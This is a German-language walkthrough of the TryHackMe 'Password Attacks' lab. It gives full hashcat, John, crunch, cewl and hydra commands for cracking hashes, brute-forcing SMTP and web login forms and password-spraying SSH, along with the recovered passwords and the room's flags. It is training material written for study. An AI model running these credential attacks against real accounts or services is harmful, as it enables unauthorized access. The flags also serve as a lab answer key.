https://tryhackme.com/room/passwordattacks

Task 1 Introduction

Dieser Task enthält keine Fragen.

Task 2 Password Attacking Techniques

Frage 1:
Which type of password attack is performed locally?

Antwort 1:
password cracking

Task 3 Password Profiling #1 – Default, Weak, Leaked, Combined , and Username Wordlists

Frage 1:
What is the Juniper Networks ISG 2000 default password?

Default Passwörter kann man auf den verschiedensten Seiten einsehen. Suchen wir das Passwort für das angegebene Gerät: https://default-password.info/juniper/isg2000

Antwort 1:
netscreen:netscreen

Task 4 Password Profiling #2 – Keyspace Technique and CUPP

Frage 1:
Run the following crunch command:crunch 2 2 01234abcd -o crunch.txt. How many words did crunch generate?

└─$ crunch 2 2 01234abcd -o crunch.txt
Crunch will now generate the following amount of data: 243 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 81 

crunch: 100% completed generating output

Antwort 1:
81

Frage 2:
What is the crunch command to generate a list containing THM@! and output to a filed named tryhackme.txt?

Ich war erst etwas verwirrt, da das @ ja generell für Kleinbuchstaben zählt, allerdings ist das hier als Symbol gedacht, daher ersetzten wir @ und ! durch ein ^.

Antwort 2:
crunch 5 5 -t „THM^^“ -o tryhackme.txt

Task 5 Offline Attacks – Dictionary and Brute-Force

Frage1:
Considering the following hash: 8d6e34f987851aa599257d3831a1af040886842f. What is the hash type?

Wir nutzen hashid, um den Typ festzustellen:

└─$ hashid 8d6e34f987851aa599257d3831a1af040886842f                                  
Analyzing '8d6e34f987851aa599257d3831a1af040886842f'
[+] SHA-1 
[+] Double SHA-1 
[+] RIPEMD-160 
[+] Haval-160 
[+] Tiger-160 
[+] HAS-160 
[+] LinkedIn 
[+] Skein-256(160) 
[+] Skein-512(160) 

Antwort 1:
SHA-1

Frage 2:
Perform a dictionary attack against the following hash: 8d6e34f987851aa599257d3831a1af040886842f. What is the cracked value? Use rockyou.txt wordlist.

Hier nutzen wir hashcat, -m 100 steht für SHA-1:

hashcat -m 100  8d6e34f987851aa599257d3831a1af040886842f /usr/share/wordlists/rockyou.txt

Antwort 2:
sunshine

Frage 3:
Perform a brute-force attack against the following MD5 hash: e48e13207341b6bffb7fb1622282247b. What is the cracked value? Note the password is a 4 digit number: [0-9][0-9][0-9][0-9]

Auch hier nutzen wir wieder hashcat:

hashcat -a 3 -m 0 e48e13207341b6bffb7fb1622282247b ?d?d?d?d

Antwort 3:
1337

Task 6 Offline Attacks – Rule-Based

Frage 1:
What would the syntax you would use to create a rule to produce the following: „S[Word]NN  where N is Number and S is a symbol of !@? 

Antwort 1:
Az“[0-9][0-9]“ „^[!@]

Task 7 Deploy the VM

Dieser Task enthält keine Fragen.

Wir erstellen die Liste:

cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/  

Task 8 Online password attacks

Frage 1:
Can you guess the FTP credentials without brute-forcing? What is the flag?

Bei manchen ftp Servern ist der anonyme Login nicht deaktiviert. Dafür gibt man als Benutzername „anonymous“ ein, ohne Passwort (nur ENTER drücken):

└─$ ftp 10.10.115.247
Connected to 10.10.115.247.
220 (vsFTPd 3.0.3)
Name (10.10.115.247:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

Wir sehen ein „files“ Verzeichnis, in dieses wechseln wir mit „cd files“, in diesem Verzeichnis ist die flag.txt, diese laden wir mit „get flag.txt“ herunter und öffnen sie auf unserem System.

Antwort 1:
THM{d0abe799f25738ad739c20301aed357b}

Frage 2:
What is the password? Note that the password format is as follows: [symbol][dictionary word][0-9][0-9].

Zuerst müssen wir unsere Regel aus Task 6 zu John hinzufügen. Öffnen wir die Datei in einem Editor:

sudo nano /etc/john/john.conf 

Dann fügen wir folgenden Text an deren Ende und speichern die Datei:

[List.Rules:THM-Password-Attacks]
Az"[0-9][0-9]" ^[!@]

Die clinic.lst bezieht sich auf die Datei, die wir in Task 7 erstellt haben.
Erstellen wir also unser Wörterbuch:

john --wordlist=clinic.lst --rules=THM-Password-Attacks --stdout > dict.lst

Jetzt können wir unseren Angriff starten:

hydra -l pittman@clinic.thmredteam.com -P dict.lst smtp://MACHINE_IP -v

Als Ergebnis erhalten wir unser Passwort:

[25][smtp] host: 10.10.115.247   login: pittman@clinic.thmredteam.com   password: !multidisciplinary00

Antwort 2:
!multidisciplinary00

Frage 3:
Perform a brute-forcing attack against the phillips account for the login page at http://10.10.115.247/login-get using hydra? What is the flag?

Website brute-forcing klappt auch mit Hydra, der Befehl ist jedoch komplizierte und wir benötigen mehrere Informationen. Dazu schauen wir uns die Login-Website an. http://MACHINE_IP/login-get
Das Feld für den Benutzernamen heißt „Username“ und das Feld für das Passwort „Password“, ziemlich normal. Den Rest können wir aus dem Beispiel nehmen.

Aus diesen Angaben können wir jetzt unseren Befehl basteln:

hydra -l phillips -P clinic.lst MACHINE_IP http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f 
[80][http-get-form] host: 10.10.115.247   login: phillips   password: Paracetamol

Mit den Userdaten können wir uns auf der Seiet einloggen.

Antwort 3:
THM{33c5d4954da881814420f3ba39772644}

Frage 4:
Perform a rule-based password attack to gain access to the burgess account. Find the flag at the following website: http://10.10.115.247/login-post/. What is the flag?

In dem Hint finden wir den Hinweis, dass wir die Single-Extra rule benutzen sollen, also machen wir uns eine neue Liste:

john --wordlist=clinic.lst --rules=Single-Extra --stdout > dict2.lst 

Anschließend passen wir unseren Hydra befehl an:

hydra -l burgess -P dict2.lst MACHINE_IP http-post-form "/login-post/index.php:username=^USER^&password=^PASS^:S=logout.php" -f 
[80][http-post-form] host: 10.10.115.247   login: burgess   password: OxytocinnicotyxO

Nun loggen wir uns wieder ein und erhalten die Flag:

Antwort 4:
THM{f8e3750cc0ccbb863f2706a3b2933227}

Task 9 Password spray attack

Frage 1:
Perform a password spraying attack to get access to the SSH://10.10.115.247 server to read /etc/flag. What is the flag?

Zuerst erstellen wir eine Textdatei mit den angegebenen Namen und speichern diese in unserem home-Verzeichnis, mit dem Namen „user.txt“.

Jetzt geht das lustige Raten los, da der Raum schön älter ist bleiben wir im Jahr 2021. Die Jahreszeiten sind Summer, Spring, Fall und Winter. Fehlt nur ein Sonderzeichen. Bisher haben wir immer nur ! und @ verwendet, probieren wir es damit.
Hier kürzen wir ab und wissen endlich, dass das Passwort Fall2021@ ist.

└─$ hydra -L user.txt -p Fall2021@ ssh://10.10.115.247
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-09 15:19:18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:5/p:1), ~1 try per task
[DATA] attacking ssh://10.10.115.247:22/
[22][ssh] host: 10.10.115.247   login: burgess   password: Fall2021@
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-09 15:19:20

Stellen wir die SSH Verbindung her:

ssh burgess@10.10.115.247 

Nun lassen wir uns den Inhalt der angegebenen Datei anzeigen:

burgess@ip-10-10-115-247:~$ cat /etc/flag
THM{a97a26e86d09388bbea148f4b870277d}

Antwort 1:
THM{a97a26e86d09388bbea148f4b870277d}

Task 10 Summary

Dieser Task enthält keine Fragen.